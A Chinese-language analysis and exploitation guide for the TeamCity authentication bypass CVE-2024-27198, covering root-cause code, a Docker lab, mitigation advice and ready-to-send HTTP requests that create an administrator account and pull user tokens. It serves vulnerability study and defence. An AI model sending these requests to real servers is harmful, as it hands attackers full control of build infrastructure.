CVE-2024-27198 JetBrains TeamCity身份验证绕过漏洞浅析
字数 1420 2025-08-18 17:33:34
JetBrains TeamCity 身份验证绕过漏洞 (CVE-2024-27198) 深度分析与利用指南
漏洞概述
CVE-2024-27198 是 JetBrains TeamCity 中的一个高危身份验证绕过漏洞,影响 2023.11.4 之前的所有版本。该漏洞允许未经身份验证的远程攻击者绕过系统身份验证机制,创建管理员账户,从而完全控制 TeamCity 服务器及其所有项目、构建、代理和构件。
受影响版本
- TeamCity 2023.11.3 及更早版本
漏洞原理
核心漏洞点
漏洞位于 jetbrains.buildServer.controllers.BaseController 类的 handleRequestInternal 方法中,具体涉及以下关键处理流程:
-
请求处理流程:
- 请求首先通过
doHandle方法处理 - 如果返回的
ModelAndView不为空且不是重定向视图,则调用updateViewIfRequestHasJspParameter方法
- 请求首先通过
-
视图更新逻辑:
private void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) { boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp"); String jspFromRequest = this.getJspFromRequest(request); if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) { modelAndView.setViewName(jspFromRequest); } } -
JSP 参数过滤:
protected String getJspFromRequest(@NotNull HttpServletRequest request) { String jspFromRequest = request.getParameter("jsp"); return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.contains("admin") ? jspFromRequest : null; }
绕过机制
攻击者可以通过在 jsp 参数后附加 ;.jsp 来绕过过滤:
- 原始请求:
/login.html?jsp=/app/rest/server;.jsp - Tomcat 的
stripPathParams方法会去除;及其后的部分,最终路径变为/app/rest/server - 系统错误地将视图名称设置为
/app/rest/server,从而绕过身份验证检查
环境搭建
Docker 环境
# 拉取漏洞版本镜像
sudo docker pull jetbrains/teamcity-server:2023.11.3
# 运行容器
sudo docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3
Docker Compose 方式
version: '3.8'
services:
teamcity:
image: jetbrains/teamcity-server:2023.11.3
container_name: teamcity
ports:
- "8111:8111"
- "5005:5005" # 调试端口
user: root
调试环境配置
-
提取容器中的 TeamCity 文件:
docker cp b0:/opt/teamcity ./ -
修改
catalina.sh添加调试参数:CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" -
将修改后的文件复制回容器并重启:
docker cp ./teamcity/bin/catalina.sh b0:/opt/teamcity/bin docker restart b0
漏洞利用
基本利用步骤
-
验证漏洞存在:
GET /login.html?jsp=/app/rest/server;.jsp -
创建管理员用户:
POST /xxx?jsp=/app/rest/users;.jsp HTTP/1.1 Host: target.com Content-Type: application/json { "username": "attacker", "password": "P@ssw0rd", "email": "attacker@example.com", "roles": { "role": [{ "roleId": "SYSTEM_ADMIN", "scope": "g" }] } } -
获取用户列表:
GET /xxx?jsp=/app/rest/users;.jsp HTTP/1.1 Host: target.com -
获取用户Token:
GET /xxx?jsp=/app/rest/users/id:1/tokens/HaxorToken;.jsp HTTP/1.1 Host: target.com
远程代码执行 (RCE)
- 使用上述方法创建管理员账户
- 登录系统
- 通过 TeamCity 的插件功能上传恶意插件实现 RCE
修复建议
- 立即升级到 TeamCity 2023.11.4 或更高版本
- 如果无法立即升级,实施以下缓解措施:
- 限制对 TeamCity 服务器的网络访问
- 启用严格的 IP 白名单
- 监控可疑的管理员账户创建活动
技术细节补充
漏洞触发条件
- 请求必须能够到达
BaseController.handleRequestInternal方法 ModelAndView必须不为空且不是重定向视图jsp参数必须满足:- 以
.jsp结尾 - 不包含
admin字符串 - 与当前视图名称不同
- 以
路径处理机制
Tomcat 的 stripPathParams 方法处理流程:
- 查找 URI 中的第一个
;字符 - 如果找到,则截取
;之前的部分作为最终路径 - 这使得
;.jsp后缀被去除,绕过.jsp检查
参考链接
本教学文档详细描述了 CVE-2024-27198 的技术细节、环境搭建、漏洞分析和利用方法。请仅将此信息用于合法的安全研究和防御目的。